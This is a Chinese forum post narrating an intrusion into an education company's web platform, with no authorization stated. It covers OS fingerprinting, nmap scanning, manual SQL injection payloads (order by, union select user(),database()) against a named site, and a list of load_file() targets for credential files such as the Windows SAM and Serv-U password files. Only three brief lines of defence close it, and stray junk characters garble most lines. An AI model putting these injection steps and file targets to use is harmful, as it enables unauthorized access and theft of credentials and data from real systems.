找回密码
 立即注册
查看: 2594|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:8 y0 h2 C% K# U
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……* _5 U; q, S& p6 n, l
第一步:获取需要的信息9 ~4 s$ |) |( Q& Z# {7 g3 k
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
& m$ v! n3 D6 p0 x7 D2 Z. a注:以下为保护特用XXX代替敏感信息
; C4 G+ y( E' {# e顺手先PING了一下他们的域名:
; D, z) g& M0 R" eping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)2 o- m4 B) V0 [; ^6 }3 j( ?
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms) L( [6 x$ I7 [, i# ~9 [4 k
顺便了解一下TTL,学好基础知识才能一路顺风:
. x0 t. Z6 U, m9 R/ |6 g, N- JTTL:(Time To Live ) 生存时间' n3 S- ]* [  [3 @5 e1 B: r9 t
指定数据包被路由器丢弃之前允许通过的网段数量。
3 K/ |2 t9 _, R6 ^. sTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
. t5 B& ~5 B8 s使用PING时涉及到的 ICMP 报文类型
$ p, }. s+ P1 ]7 G; C. H1 b" d一个为ICMP请求回显(ICMP Echo Request); m+ R3 }+ D$ }0 c) ~! p
一个为ICMP回显应答(ICMP Echo Reply), u2 U$ R2 F# y3 D( }9 n+ t
TTL 字段值可以帮助我们识别操作系统类型。  f- A; a# d2 V, f- ?5 C# s
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
3 ]/ p+ l1 ]' o( d# L6 r/ yCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
0 J8 G; H% H! L微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. A% d3 k& Y& n: m
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 329 F1 M" C9 s  Z+ x0 e6 d! G5 `2 v
当然,返回的TTL值是相同的9 C, M( l! _( M- J& L
但有些情况下有所特殊
# l/ C2 `1 ]% g9 O2 P: n; ]LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
/ y- n  w/ B7 W- Q2 Z2 TFreeBSD 4.1, 4.0, 3.4;  e# ^2 P2 V/ y/ t1 P
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
: Z  Y, ~4 o$ B3 _* T% O+ JOpenBSD 2.6, 2.7,
3 H- a" X) i. N- F# VNetBSD
# }" W, R& B' c( i+ n! JHP UX 10.20; n/ [  Y4 b( I; t7 d1 m( T; r6 ~
ICMP 回显应答的 TTL 字段值为 255
  ~4 ?; {' k8 D+ G% ]0 LWindows 95/98/98SE
* I2 V- e8 Q# w& ]* S% M: fWindows ME
5 _  w9 j$ A0 hICMP 回显应答的 TTL 字段值为 323 x( C0 Y. x2 ]8 W3 n
Windows NT4 WRKS
2 h8 c$ Q: ^7 v  dWindows NT4 Server; [$ P$ i8 P% |/ q6 s. H# I
Windows 20009 |  o0 f+ R7 o% x* w. l
Windows XP
( i. H& p+ |' yICMP 回显应答的 TTL 字段值为 128# t: i2 U/ m8 z" u
这样,我们就可以通过这种方法来辨别操作系统
. _0 E- Z% e! OTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
* t7 N' e' Z5 G8 j( Y用NMAP扫描一下:& p8 M' ]+ A  e; {$ H7 X
nmap -sT -O XXX.XXX.XXX.XXX5 P* v+ ~7 U2 t
如果没有装WinPcap则会弹出提示:
$ U3 O9 g9 U: |& [& P( m7 l0 hWARNING: Could not import all necessary WinPcap functions.  You may need to upgr5 [' _6 v+ I8 c2 W
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(3 K; H. Y# ]9 `9 A! N$ a6 X
) mode — Nmap may not function completely3 N) l" V; Y9 L8 z" y% b* C
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher1 S- _$ r, P# P( d2 E- S
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win) b+ B. I0 O% s7 P. ?
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an( U0 n' e( p+ A6 k. Q
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v( X; {" E: D- l' A, F( {2 F& M/ `
ersions, you may be able to take iphlpapi.dll from another system and place it i
; w8 w6 N- A- r$ en your system32 dir (e.g. c:\windows\system32).
- B  U! o( r/ c, P* \QUITTING!9 g0 w6 p0 D  l; ?) }0 x
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe5 j1 ^) D, i& N  k- h6 J
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
' |! ~8 V9 w6 }' F+ l& z0 e- |Interesting ports on XXX.XXX.XXX.XXX:8 x; g, S4 U2 b( L
Not shown: 986 closed ports) t0 B; k8 T( A& x. S/ r( v
PORT     STATE    SERVICE
; c: H& Z3 ~7 A- @. E21/tcp   open     ftp
  ~+ ~, l' G" X/ g$ f* @4 T* U8 _22/tcp   open     ssh: S$ l( H+ n; {9 q  l
23/tcp   open     telnet4 K6 w: F1 Q4 _
80/tcp   open     http1 Y& W8 G" v, y8 s
111/tcp  open     rpcbind: {8 z* S" i# Q- u, J; k* c6 Y
135/tcp  filtered msrpc
0 G4 X; v; h" N* _( [* x139/tcp  filtered netbios-ssn( A6 j# w3 |- y) p. E
445/tcp  filtered microsoft-ds
/ B5 h; g3 R+ v- @6 {513/tcp  open     login
4 v- ^" a, X, ?& b. P4 K514/tcp  open     shell
! O9 l' ^1 p  U; K( t4 R! j593/tcp  filtered http-rpc-epmap& F" z1 ?* P7 o/ }$ |; X6 H- `# K
1720/tcp filtered H.323/Q.931
0 Y* H. T! U8 M9 |) ~3306/tcp open     mysql
' y: E  g- O3 S! K4444/tcp filtered krb524
% P* a7 J: \9 U) x, K9 JDevice type: WAP
0 o& E6 I( N4 {- S$ H: |Running: Linux 2.4.X$ {2 N3 [6 [5 ]
OS details: DD-WRT (Linux 2.4.35s)
; |+ x. J6 X" ~6 c! @Network Distance: 13 hops
: k) s4 v& [5 E( L/ Z9 w看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
$ p2 ~8 S/ j# W3 J: R% J& t5 Llogin as:
* P/ b0 W5 L) @# pTelnet23端口也是开着的,用telnet 命令链接一下:
4 n. {1 D, U9 Y! \8 n0 b+ ~telnet XXX.XXX.XXX.XXX
  \) Z" R4 ^7 ^% B$ d  }, u, A提示:
7 z  H9 d2 x$ x/ ~Red Hat Enterprise Linux Server release 5.2 (Tikanga)
# ?9 x- B* L, A. F; aKernel 2.6.18-92.el5PAE on an i686
! s' s% I# Q  c# K2 [login:# [4 C1 w4 `9 T2 I$ L4 M' B
获取HTTP头信息:9 n! K7 p$ D0 E9 {- |" J
在本地执行如下PHP代码
$ I' {3 ~# [: U! \<?php
% Z3 e8 x/ `2 U7 e) [, q/ L$url = ‘XXX.XXX.XXX.XXX’;- a9 U9 R0 J+ @6 P* v9 r, Q* a
print_r(get_headers($url));
  F) L* X6 a8 g5 B5 N) N$ d/ ~# |print_r(get_headers($url, 1));
# {! U3 K, e6 [. ^" O# B?>
# F" s% ^1 i& I2 u2 U将以上代码保存为PHP文件,执行:
* Q* D* k$ y, G% `0 {6 t; d7 JArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
; t$ v2 [* y0 R1 c3 ~现在可以得出结论:% a0 P- O8 r7 k0 }
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)% Z* n7 y' M/ q* ]6 R, C& e
内核版本:Kernel 2.6.18-92.el5PAE on an i686
  I& r& H) Y* z) \  E8 B  V4 BWEB服务器版本:nginx/0.7.61
) y7 j7 ?' ^6 B5 z/ \- F第二步,开始测试寻找漏洞  q. ^# z% M% @2 ^4 G
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。( H: Q! s" f! w- i2 B) w( u0 _) q
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的, |- B3 ?/ D% {! J4 K, d
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
# M9 K. N) h- x1 ?  T2 S! @$ shttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
  n* P1 i/ E& `! [: shttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
" b& k5 x7 o1 n3 b/ d  ]恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
6 @, d9 m; @) k3、手工注入:
' S( k8 _; J) N# @注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。' E. W4 f7 o2 o1 d# T3 m4 ?) V$ `
3.1 猜测当前表字段数
; u% a8 {+ _& v2 rhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10  d! L6 P9 y- s& x
此处猜测有个简单的算法,都是有技巧的吗,呵呵
2 O8 W! r; {4 d9 ]算法简单如下:* J) z/ m2 m; h0 Q
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;! D% g" U$ ^7 w5 {- p8 D' q
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
1 _1 Y1 D! K$ `8 ]/ }, N& _/ m( d+ x需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。. i/ S. t* a9 ^. x5 d" I: o
以此来判断,是否过界,配合取中算法猜出字段数。5 ~7 {8 N- F) k) E
举例:/ O$ C9 ~- Y, i1 ], ^
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
$ L3 O8 Q4 x) d6 L1 Whttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误# ?/ S, \6 D- }: q8 A0 n
此时3则为我们要找的字段数。
3 `) t9 U" H3 F; @' P3.2 配合union联合查询字段在页面所位置4 O' k2 f& C1 \3 f4 Z
我们已经知道了字段数为3,此时则可以做如下操作:
* Q2 h% B& A3 J4 I" D, Dhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,31 W2 s& s5 y  C& C
- h: h/ ^  C& [9 W8 Z& K0 I
这样就可以测试到哪些字段在页面上有所显示了,如图:
' R* I8 ^3 G: u5 q# O* C# \) s2 T" a4 H" s; J" I
3.3 查敏感信息4 x; f9 g0 ]8 G
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。, o+ x8 X  }' D% N
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
" k: @* T" b" Y2 e; q4 h$ _3.3.1 先查数据库用户、数据库名,以备后用,如图:2 ?& ^8 J0 i6 H9 a, |9 X0 U! C
( g2 s; I' H  D: W- ^) s& s
得到数据库用户为root、数据库名为DBxx;( n& A  j' h% ~; w
3.3.2 查配置文件, l- Y0 O8 ]7 t' _: q( \2 e. D
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
6 c4 H6 s7 l8 I/ g3 m! D$ |) B9 g0 L查看文件有一定的条件限制:
$ |8 y3 W, P7 q* `2 h欲读取文件必须在服务器上3 l! ^4 |( h  s, s. l7 ?& y  `
必须指定文件完整的路径
2 a: P% V, H, D6 |6 R4 G- _必须有权限读取并且文件必须完全可读1 T+ H" e* w/ j, a3 ?; X0 p
欲读取文件必须小于 max_allowed_packet2 }& ~* T; u  m: D% Z0 Z  ?9 s$ F
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。) ~! P+ t: t: O- \$ v. B, C
常用的一些:3 u2 [: c$ T! x8 Q6 M& k3 k
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
. x$ B- H: @$ w; W& \5 M* \5 w% y( O/usr/local/apache2/conf/httpd.conf: o! H# K8 x1 y) }7 X% a  q
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置6 f6 ~1 W7 Z0 b6 Z: Z* A
/usr/local/app/php5/lib/php.ini //PHP相关设置! o9 C9 b% ~* k! i
/etc/sysconfig/iptables //从中得到防火墙规则策略
* t" J9 z4 u2 j5 E( f5 O0 {7 \/etc/httpd/conf/httpd.conf // apache配置文件
  w7 d! O  |3 o& N0 r/etc/rsyncd.conf //同步程序配置文件; a' ~5 v+ s9 u
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.3 F6 o2 g3 j  p( Y  J: q
/etc/my.cnf //mysql的配置文件% ^! D' b/ G4 H
/etc/redhat-release //系统版本
+ k! c5 ^7 ~8 S/ g3 O# |% z/etc/issue
% ?5 ?1 K; \( e; K" z5 x: P/etc/issue.net: d. A0 S( A+ G1 c2 {( q9 v
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
; J( k9 B! N  e9 [- Z4 Rc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码- B& w) v  z$ X7 s
c:\Program Files\Serv-U\ServUDaemon.ini8 Z" x0 t, x# Z2 n
c:\windows\my.ini //MYSQL配置文件: S6 }& n( a9 ?5 J7 h
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件/ m% T" `" H: {* W
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,1 w' j' w+ M. `, o9 P4 \
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
7 }3 A$ F9 ~4 Y5 o* K7 \" Ic:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此: o; g+ E+ ~, s9 X+ m
c:\Program Files\RhinoSoft.com\ServUDaemon.exe1 p5 S$ ]& w. N0 I
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
3 ^, w, Q1 {" i+ Q//存储了pcAnywhere的登陆密码
: @. H8 {5 I" f  n- p+ u. v) S" a由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
, S- Q$ U/ l! A. f这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
8 X: N- X7 _" Y. i最后:防范措施+ Q- |$ B8 {8 H& s  _
1、修复PHP注入漏洞;
! O# d. U- e$ v) E) L2、Mysql使用普通权限的用户;! V, n' S3 D3 y& J3 D; t
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表